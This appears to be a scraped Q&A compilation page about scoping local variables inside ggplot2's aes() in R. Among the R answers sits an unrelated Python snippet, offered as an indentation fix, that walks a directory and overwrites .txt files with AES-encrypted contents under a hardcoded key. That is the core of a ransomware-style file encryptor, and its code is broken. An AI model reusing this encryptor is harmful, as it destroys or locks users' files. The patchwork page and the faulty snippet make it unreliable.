Local Variables Within Aes

Local Variables Within aes

I would capture the local environment,

xy <- data.frame(x=1:10,y=1:10)

plotfunc <- function(Data, YMul = 2){
.e <- environment()
ggplot(Data, aes(x = x, y = y*YMul), environment = .e) + geom_line()
}

plotfunc(xy)

Plotting a geom_rect with aes using local variables

You should remove the call to aes in your geom_rect because Dates$disp[1] is a constant here :

print(  ggplot(mpgData,aes(disp,hp))+
geom_point(shape=17,color="black",size=2) +
geom_rect(xmin=Dates$disp[1], xmax=200, ymin=0, ymax=Inf,fill = "aquamarine",alpha=0.01)
)

Scoping of variables in aes(...) inside a function in ggplot

Let's return a non-rendered ggplot object to see what's going on:

gg.str <- function() {
i=2
str(ggplot(df,aes(x=x,y=df[,i]))+geom_line())
}

gg.str()
List of 9
$ data :'data.frame': 91 obs. of 3 variables:
..$ x : num [1:91] 1 1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 ...
..$ y1: num [1:91] 1 1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 ...
..$ y2: num [1:91] -0.208 -0.28 -0.335 -0.373 -0.393 ...
$ layers :List of 1
..$ :Classes 'proto', 'environment' <environment: 0x0000000009886ca0>
$ scales :Reference class 'Scales' [package "ggplot2"] with 1 fields
..$ scales: list()
..and 21 methods, of which 9 are possibly relevant:
.. add, clone, find, get_scales, has_scale, initialize, input, n, non_position_scales
$ mapping :List of 2
..$ x: symbol x
..$ y: language df[, i]
$ theme : list()
$ coordinates:List of 1
..$ limits:List of 2
.. ..$ x: NULL
.. ..$ y: NULL
..- attr(*, "class")= chr [1:2] "cartesian" "coord"
$ facet :List of 1
..$ shrink: logi TRUE
..- attr(*, "class")= chr [1:2] "null" "facet"
$ plot_env :<environment: R_GlobalEnv>
$ labels :List of 2
..$ x: chr "x"
..$ y: chr "df[, i]"
- attr(*, "class")= chr [1:2] "gg" "ggplot"

As we can see, mapping for y is simply an unevaluated expression. Now, when we ask to do the actual plotting, the expression is evaluated within plot_env, which is global. I do not know why it is done so; I believe there are reasons for that.

Here's a demo that can override this behaviour:

gg.envir <- function(envir=environment()) {
i=2
p <- ggplot(df,aes(x=x,y=df[,i]))+geom_line()
p$plot_env <- envir
plot(p)
}
# evaluation in local environment; ok
gg.envir()
# evaluation in global environment (same as default); fails if no i
gg.envir(environment())

Usage of local variables

Use local. Using your example:

local({ 
V1 = c(1,2,3);
V2 = c(1,2,3);
P = inner_product(V1, V2);
print(P);
})
# the variable V1, V2, P are undefined here!

Referencing stored variables in ggplot function

ggplot will always work best if you put the values you're using in the dataframe. Something like:

addLabel = function(d, p, row) {
row_d = d[row, ]
row_d$h = max(row_d$X)*0.5
row_d$v = max(row_d$Y)*0.5

p = p + geom_text(data=row_d, aes(x = X+h, y = Y+v, label = Label))

return(p)
}

addLabel(alphabet, plot, 1)

I have assigned my variable but output says: local variable referenced before assignment

I think you missed your indentation you should try something like this to put your writtings inside your if block

import os
from Crypto import Random
from Crypto.Cipher import AES

extensions = ['docs', 'txt']

tree = '.'

def padding(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

def encrypt(message, key, key_size=256):
message = padding(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)

def allfiles():
for root, dirs, files in os.walk(tree):
for file in files:
if (file.endswith(tuple(extensions))):
with open(file, 'rb') as fs:
plaintext = fs.read()
enc = encrypt(plaintext, key)
with open(file, 'w') as fs:
fs.write(enc) # Here enc is defined in your if bloc for sure

key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
else:
print('file not encrypted') # enc is not defined


allfiles()

ggplot2 variables within function

You're doing several things wrong.

First, everything specified inside aes() should be columns in your data frame. Do not reference separate vectors, or redundantly call columns via data_df[,1]. The whole point of specifying data = data_df is that then everything inside aes() is evaluated within that data frame.

Second, to write functions to create ggplots on different columns based on arguments, you should be using aes_string so that you can pass the aesthetic mappings as characters explicitly and avoid problems with non-standard evaluation.

Similarly, I would not rely on deparse(substitute()) for the plot title. Use some other variable built into the data frame, or some other data structure.

For instance, I would do something more like this:

data_df = data.frame(matrix(rnorm(200), nrow=20))
time=1:nrow(data_df)
data_df$time <- time

graphit <- function(data,column){
ggplot(data=data, aes_string(x="time", y=column)) +
geom_point(alpha=1/4) +
ggtitle(column)
}

graphit(data_df,"X1")

ggplots stored in plot list to respect variable values at time of plot generation within for loop

I propose this solution which doesn't tell you why it doesn't work like you do :

l <- lapply(choice_COLs, temporary_function)

temporary_function <- function(COL_i){
COL_i_index <- which(COL_i == COLs_current)

# Generate "basis boxplot" (to plot scatterplot on top)
boxplot_scores <- data_temp %>%
gather(COL, score, all_of(COLs_current)) %>%
ggplot(aes(x = COL, y = score)) +
geom_boxplot()

# Get relevant data of COL_i for scattering: data of 4th quartile
quartile_values <- quantile(data_temp[[COL_i]])
threshold <- quartile_values["75%"] # threshold = 3. quartile value
data_temp_filtered <- data_temp %>%
filter(data_temp[[COL_i]] > threshold) %>% # filter the data of the 4th quartile
dplyr::select(COLs_current)

# Create layer of scatter for 4th quartile of COL_i
scatter <- geom_point(data=data_temp_filtered,
mapping = aes(x = COL_i_index,
y = eval(parse(text=(paste0(COL_i))))),
color= "orange")

# add geom objects to create final plot for COL_i
current_plot_complete <- boxplot_scores + scatter

return(current_plot_complete)
}

When you use lapply you don't have such a problem.
It is inspired by this post

Use of ggplot() within another function in R

As Joris and Chase have already correctly answered, standard best practice is to simply omit the meansdf$ part and directly refer to the data frame columns.

testplot <- function(meansdf)
{
p <- ggplot(meansdf,
aes(fill = condition,
y = means,
x = condition))
p + geom_bar(position = "dodge", stat = "identity")
}

This works, because the variables referred to in aes are looked for either in the global environment or in the data frame passed to ggplot. That is also the reason why your example code - using meansdf$condition etc. - did not work: meansdf is neither available in the global environment, nor is it available inside the data frame passed to ggplot, which is meansdf itself.


The fact that the variables are looked for in the global environment instead of in the calling environment is actually a known bug in ggplot2 that Hadley does not consider fixable at the moment.
This leads to problems, if one wishes to use a local variable, say, scale, to influence the data used for the plot:

testplot <- function(meansdf)
{
scale <- 0.5
p <- ggplot(meansdf,
aes(fill = condition,
y = means * scale, # does not work, since scale is not found
x = condition))
p + geom_bar(position = "dodge", stat = "identity")
}

A very nice workaround for this case is provided by Winston Chang in the referenced GitHub issue: Explicitly setting the environment parameter to the current environment during the call to ggplot.
Here's what that would look like for the above example:

testplot <- function(meansdf)
{
scale <- 0.5
p <- ggplot(meansdf,
aes(fill = condition,
y = means * scale,
x = condition),
environment = environment()) # This is the only line changed / added
p + geom_bar(position = "dodge", stat = "identity")
}

## Now, the following works
testplot(means)

How can I pass a ggplot2 aesthetic from a variable?

Hmmmm, I think you need a new aes function that is a bit like aes (in that it doesn't try to parse its arguments) and a bit like aes_string (in that it evaluates its arguments immediately in the local environment):

aes_now <- function(...) {
structure(list(...), class = "uneval")
}

Then

bottom <- bottom + geom_rect(aes_now(xmin=lims[1], xmax=lims[2]),
ymin=-Inf, ymax=Inf, fill="grey80", alpha=0.01)

gives you what you want.



Related Topics



Leave a reply



Submit